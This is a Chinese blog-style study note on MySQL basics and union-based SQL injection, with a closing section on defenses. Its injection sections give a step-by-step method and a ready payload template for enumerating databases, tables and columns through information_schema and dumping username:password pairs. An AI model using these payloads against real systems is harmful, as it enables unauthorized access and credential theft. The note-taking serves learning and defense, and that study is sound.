杂记03-SQL基础知识

SQL 前置知识


一、MySQL 基础语法

1. SQL 四大分类

分类关键字作用
DQL 查询SELECT查询表中数据
DML 操作INSERT / UPDATE / DELETE增、改、删表中数据
DDL 定义CREATE / ALTER / DROP / TRUNCATE创建/修改/删除库和表结构
DCL 控制GRANT / REVOKE权限授权与回收

2. 常用命令

SHOW DATABASES;          -- 查看所有数据库
USE 库名;                 -- 切换当前数据库
SHOW TABLES;              -- 查看当前库所有表
DESC 表名;                -- 查看表字段结构(等价 SHOW COLUMNS FROM 表名)

3. WHERE 与逻辑运算符

SELECT * FROM users WHERE id=1 AND username='admin';
符号含义
= != <>等于 / 不等于
> < >= <=大小比较
AND逻辑与,所有条件同时成立
OR逻辑或,任意一个条件成立
LIKE模糊匹配,% 通配任意字符

4. ORDER BY 与 LIMIT

SELECT * FROM users ORDER BY id DESC;   -- 按 id 降序
SELECT * FROM users LIMIT 1;             -- 取前 1 条
SELECT * FROM users LIMIT 1,3;           -- 偏移 1,取 3 条

注入常用:order by n 按第 n 列排序,列数不存在则报错,用于猜列数

5. 注释符(注入关键)

写法说明注入场景
-- 标准 SQL 注释,-- 后必须带空格优先使用,兼容性最好
#MySQL 特有,无需空格简短,但 URL 中会被浏览器当锚点截断
/* 内容 */多行注释可用来绕过空格过滤,如 select/**/*from users

6. UNION 联合查询

SELECT id,username FROM users UNION SELECT 1,database();
  • 前后两条 SELECT 列数必须相同,对应位置数据类型兼容

  • UNION 自动去重;UNION ALL 不去重,效率更高

7. 常用内置函数

database()    -- 当前数据库名
user()        -- 当前数据库用户名
version()     -- MySQL 版本
@@datadir     -- 数据库存储路径

二、SQL 注入基础

1. 本质

后端将用户输入直接拼接进 SQL 语句,未做参数化处理,导致攻击者可构造恶意输入篡改 SQL 逻辑,让数据库执行任意 SQL 命令。

2. 注入点类型

类型原始 SQL是否需闭合判断 Payload
数字型where id=用户输入不需要引号1 and 1=1
字符型where name='用户输入'需先闭合单引号' and 1=1 --

速记:数字型无引号直接写;字符型先闭合引号、再写条件、最后注释收尾。

3. 判断注入点

  • 输入单引号 ' → 页面报错 = 存在字符型注入

  • 输入 and 1=1(正常)vs and 1=2(异常)= 存在布尔型注入


三、information_schema 系统库

MySQL 5.0+ 自带的元数据库,不存业务数据,记录所有库、表、列信息,是注入脱库的核心入口。

三张关键表

表名作用核心字段
schemata所有数据库名schema_name
tables所有表名table_schema(所属库)、table_name
columns所有字段名table_schematable_namecolumn_name

对应查询

-- 查所有库名
SELECT schema_name FROM information_schema.schemata;
​
-- 查指定库的所有表名
SELECT table_name FROM information_schema.tables WHERE table_schema='库名';
​
-- 查指定表的所有字段名
SELECT column_name FROM information_schema.columns WHERE table_name='表名';

四、Union 联合查询完整流程(7 步法)

第 1 步:判断注入点

输入 'and 1=1 / and 1=2,确认存在注入及类型。

第 2 步:确定列数

order by n 二分法探测:

  • order by 3 正常 → 至少 3 列

  • order by 4 报错 → 共 3 列

第 3 步:探测显示位

-1' union select 1,2,3 #
  • -1 让主查询返回空,使 union 结果显示在页面

  • 页面上出现的数字位置即为回显位

第 4 步:获取当前库名

-1' union select 1,database(),3 #

第 5 步:获取表名

-1' union select 1,group_concat(table_name),3
  FROM information_schema.tables
  WHERE table_schema=database() #

第 6 步:获取字段名

-1' union select 1,group_concat(column_name),3
  FROM information_schema.columns
  WHERE table_name='目标表名' #

第 7 步:获取数据

-1' union select 1,group_concat(username,0x3a,password),3
  FROM 目标表名 #
  • group_concat() 将多行合并为一行输出

  • 0x3a 是冒号 : 的十六进制,避免引号闭合冲突


五、完整 Payload 模板(字符型)

-- 1. 测注入
'
-- 2. 测列数
' order by 3 #
-- 3. 找显示位
-1' union select 1,2,3 #
-- 4. 查库名
-1' union select 1,database(),3 #
-- 5. 查表名
-1' union select 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database() #
-- 6. 查字段名
-1' union select 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_name='users' #
-- 7. 查数据
-1' union select 1,group_concat(username,0x3a,password),3 FROM users #

数字型去掉首尾引号即可,例如:-1 union select 1,database(),3


六、易混考点速记

  1. SELECT * FROM 表名 → 查全部字段的数据

  2. SHOW COLUMNS FROM 表名 → 查字段结构(列名、类型),不是查数据

  3. SHOW TABLES → 看当前库所有表;SHOW DATABASES → 看所有库

  4. DELETE 删数据;DROP 删表/库;TRUNCATE 清空表数据(保留结构)

  5. AND 同时满足;OR 满足其一

  6. -- 必须带空格才是注释;URL 中优先用 -- 而非 #


七、防御方案

  1. 参数化查询(预编译):从根本上杜绝注入,最有效手段

  2. 输入校验:对用户输入做合法性检查,过滤特殊字符

  3. 最小权限:数据库账号只授必要权限,禁用 FILE / DROP / ALTER 等高危权限

  4. 统一报错:不向用户暴露数据库报错详情,防止泄露表结构

  5. WAF 防护:拦截常见注入 Payload

评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值